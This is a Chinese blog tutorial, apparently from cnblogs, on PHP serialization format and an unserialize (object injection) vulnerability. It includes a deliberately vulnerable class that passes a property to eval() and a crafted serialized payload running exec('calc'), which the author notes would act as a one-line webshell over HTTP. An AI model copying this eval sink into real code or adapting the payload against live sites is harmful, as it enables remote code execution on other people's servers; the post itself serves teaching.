首页 > 编程语言 >php xss 反序列化漏洞

php xss 反序列化漏洞

时间:2024-03-08 19:00:46浏览次数:31  
标签:xss 00 php get 小弟 test 序列化 hello

介绍

反序列化漏洞,利用了后端服务的设计缺陷

序列化和反序列化

对象 =(序列化)》 字符串

对象 《(反序列化)= 字符串

序列化字符串构建

首先,理解下 对象 序列化后 是个 嘛玩意儿

上代码

<?php
class test{
    public $a = 'hello';
    private $b = 'hello';
    protected $c = 'hello';
    public function displayVar() {
        echo $this->a;
    }
}
$hxdyjx = new test();
echo serialize($hxdyjx);
echo PHP_EOL;
echo urlencode(serialize($hxdyjx));
//O:4:"test":3:{s:1:"a";s:5:"hello";s:7:"%00test%00b";s:5:"hello";s:4:"%00*%00c";s:5:"hello";}

对照理解

名称 意义
O:4:"test":3:{} 类 长度4 名称test 有3个小弟
s:1:"a";s:5:"hello" 一般的小弟 名字长度1 小弟叫a 小弟5cm长 铭文hello
s:7:"%00test%00b";s:5:"hello"; 大佬禁脔级小弟 名字长度7 小弟叫b(%00test%00 占了6个字节)小弟5cm长 铭文hello
s:4:"%00*%00c";s:5:"hello"; 受帮派保护的小弟 名字长度4 小弟叫c(%00*%00 占了3个字节)小弟5cm长 铭文hello

反序列化漏洞示例

<?php
class test{
    public $a = 'calc';
    public function displayVar() {
        eval($this->a);
    }
}

//$get = new test();
//$get = serialize($get);
//echo $get;

$get = 'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}';
$b = unserialize($get);
$b->displayVar() ;
?>

这里的'O:4:"test":1:{s:1:"a";s:13:"exec("calc");";}' 就是我构造的payload,如果是http 请求 ,是不是就是一个一句话木马啦?

标签:xss,00,php,get,小弟,test,序列化,hello
From: https://www.cnblogs.com/hxdyjx/p/18061665

相关文章

  • php+java加密对接算法
    本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/322请求示例:{"appKey":"demo","nonce":"12345","sign":"04a8ba0a19ffc491716131a542729a9c250d84ce4211889a15f920ce974cf23......
  • ThinkPHP常用方法
    对称加密对称加密可以用来把登录用户的id和name等少数信息http_build_query成一个字符串加密后放入cookie中。publicfunctionencryptString($content,$key){returnopenssl_encrypt($content,'AES-128-ECB',$key);}publicfunctiondec......
  • spring-JSON序列化
    1,使用场景。SpringBoot默认json为JackJson。在Controller需要返回Json数据时,我们使用了RestController,如果想对返回的数据进行一定的处理,也就是序列化对象为Json时使用。反序列化,就是当接收的参数想做一定处理,获取到处理后的数据时候。2,JsonSerializer序列化1,自定......
  • Spring反序列化失败 Type definition error: [simple type, class xxx.xxx.xxx]
    也许更好的阅读体验Typedefinitionerror:[simpletype,classcom.elm.po.CommonResult];nestedexceptioniscom.fasterxml.jackson.databind.exc.InvalidDefinitionException:Cannotconstructinstanceofcom.elm.po.CommonResult(noCreators,likedefaultconstru......
  • win11搭建nginx+php环境
    win11搭建nginx+php环境nginx配置nginx-1.24.0/nginx.conf#passthePHPscriptstoFastCGIserverlisteningon127.0.0.1:9000#location~\.php${roothtml;fastcgi_pass127.0.0.1:9000;fastcg......
  • 用phpStudy配置apache服务器
    一:下载phpStudy1进入官网https://www.xp.cn/download.html选择稳定的2018版本2执行下载好的文件,选择下载地址注意!这里的安装路径不能有中文3亮两个绿灯代表正常运行,如果亮红灯要尽快排除故障二:点击查看phpStudy的功能这里不做详细介绍,自行研究三:配置phpStudy在端口......
  • 阿里云 cloud linux 2/3 安装PHP
    官方说明: https://www.alibabacloud.com/help/zh/elastic-compute-service/latest/manually-deploy-an-lnmp-environment-on-an-ecs-instance-that-runs-alibaba-cloud-linux-2官方安装的是PHP7.0我这里说下怎么安装PHP8以及如何安装PHP扩展1.添加yumremi源(这个是专门为......
  • 介绍一个很不错的 php 加密工具 - XLoad 扩展加密工具
    对于PHP开发者来说,代码安全变得越来越重要,选择一个可靠的加密工具是保护代码完全的关键。今天,我要向大家介绍一款非常出色的PHP加密工具-XLoad扩展加密工具。XLoad扩展加密工具是一款强大、安全、而易用的加密软件,它为PHP开发者提供了高效、安全的加密解决方案。这款工......
  • 店小密芒果店长商品搬家API接口PHP Java C++
    随着电子商务的迅猛发展,淘宝作为中国最大的电商平台之一,拥有着海量的商品数据和用户行为数据。为了更好地整合资源、提高运营效率,淘宝开放了商品详情API数据接口,为商家和第三方开发者提供了丰富的功能与应用。一、淘宝商品详情API数据接口概述淘宝商品详情API数据接口是淘宝开放......
  • php7中的三元运算符的区别
    <?php$tmparr=['cover'=>'http://img.immomo.com.cn'];echoisset($tmparr['cover'])."\n";echo!empty($tmparr['cover'])."\n";$rep=isset($tmparr['cover'])&&!empty......